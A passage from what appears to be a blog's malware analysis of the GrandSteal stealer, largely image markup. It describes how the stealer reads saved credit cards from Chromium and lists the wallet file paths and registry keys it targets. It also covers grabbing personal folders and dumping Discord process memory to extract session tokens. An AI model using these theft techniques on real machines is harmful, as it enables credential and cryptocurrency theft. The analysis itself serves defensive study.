sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png" width="400" height="271" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:271,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>2.2.1.4. Credit Cards</p><p>It reads the table credit_cards from the sqlite database.</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png" width="400" height="176" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:176,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh5VIcSAokHbtcLoVM-iqlgafEJjcEjZmm3sW1osXgNJIQUKHEBleE2LKMdXDE323Hx9Fpnb0FVVGQ6N75jU6nu8ELU-9KP0VaNsdEy1uL2yN3hS5c1nelrSPV3SOan8cn3BOYdzeplHo/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>2.2.2.&nbsp;Wallets Stealer</p><p>The malware is able to steal wallets from the following crypto-coin products:</p><ul><li><p><strong>Litecoin:</strong> "%appdata%\Litecoin\wallet.dat"</p></li><li><p><strong>Litecoin-Qt:</strong>&nbsp;walletpath=read("HKCU\Software\Litecoin\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Litecoin-Qt:</strong>&nbsp;walletpath=read("HKCU\Software\Litecoin-Qt\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Bitcoin:</strong>&nbsp;"%appdata%\Bitcoin\wallet.dat"</p></li><li><p><strong>Bitcoin-Qt:</strong>&nbsp;walletpath=read("HKCU\Software\Bitcoin\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Bitcoin-Qt:</strong>&nbsp;walletpath=read("HKCU\Software\Bitcoin-Qt\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Bytecoin:</strong> "%appdata%\bytecoin\*.wallet"</p></li><li><p><strong>Exodus:</strong>&nbsp;"%appdata%\Exodus\*"</p></li><li><p><strong>Dash-Qt: </strong>walletpath=read("HKCU\Software\Dash\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Dash-Qt:&nbsp;</strong>walletpath=read("HKCU\Software\Dash-Qt\strDataDir"), walletpath + "wallet.dat"</p></li><li><p><strong>Electrum: </strong>"%appdata%\Electrum\wallets\*"</p></li><li><p><strong>Ethereum:&nbsp;</strong>"%appdata%\Ethereum\wallets\*"</p></li><li><p><strong>Monero:&nbsp;</strong>walletpath=read("HKCU\Software\monero-project\wallet_path"), walletpath + "wallet.dat"</p></li><li><p><strong>Monero:&nbsp;</strong>walletpath=read("HKCU\Software\monero-core\wallet_path"), walletpath + "wallet.dat"</p></li></ul><p>The source code related to this functionality is <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/ColdWalletManager.cs">ColdWalletManager.cs</a>.</p><p>2.2.3. Files From Personal Directories Stealer</p><p>The malware can steal files from Desktop, Favorites and Personal folders:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png" width="400" height="169" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:169,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkxHpl0GqrtSI6mP15v41ZiPwFmaT0eyoxJ8XoIabTchjvGEdKf9YMPboIIXfv5rgU015Krw859b0hTyKENiM4LttRFAB0nxbnsUmrSB-CCdttIDLDoDi9PeXs1tn6LQ58xdINw7LNECo/s400/personalfiles.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>The source code related to this functionality is <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/DesktopFileManager.cs">DesktopFileManager.cs</a>.</p><p>2.2.4. Discord Software Stealer</p><p>From wikipedia: "Discord is a proprietary freeware VoIP application and digital distribution platform designed for video gaming communities, that specializes in text, image, video and audio communication between users in a chat channel".</p><p>The malware is able to steal information from this VoIP application by using a curious method. It calls DbgHelp.dll APIs (MiniDumpWriteDump) to create a minidump of any process containing the word "Discord" in the name.</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafGqC8JEkM_WtxRhpq-UvFSCLTPBFAN9nT4B9UtLiTm3fcZ2iuKBKCytDxyAOKn7hijTTtk_71mf7BVlYEzZ9OPGj4qXFw9fofG_IVmqneRsQ5VgkqTEFGOYgksiG08ZlpFn-TDu8SI0/s1600/discord.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png" width="400" height="66" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:66,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIwfleHaCPk3T7okZVPAkNSSJYcB5_Wmgr6LMs__qpnE_GOgWSAymLH9PSxX1cwSRBDSg4hCaceVO-evM3X2RG3wXM10hcf3iALFMjSdwRD3R-FMT-cMDAqwD8k67edVhkrfS5DaICtvw/s400/discord.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>Once the minidump file is created, it searchs the minidump for Discord json sessions by using a regex:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4a11WGWMGukg5RWou-P4FMM_ZZSbsFHLf8sFIXCzyhElW5CJJyU0442vdP6bjvaNduUVezydCh5AQEflknTpRzG8DrE-zaRpIoqdi5OyGz_cEVqf3Qprlb8KOdqkezlic7gFO9cgQZ0c/s1600/discord.png 848w, 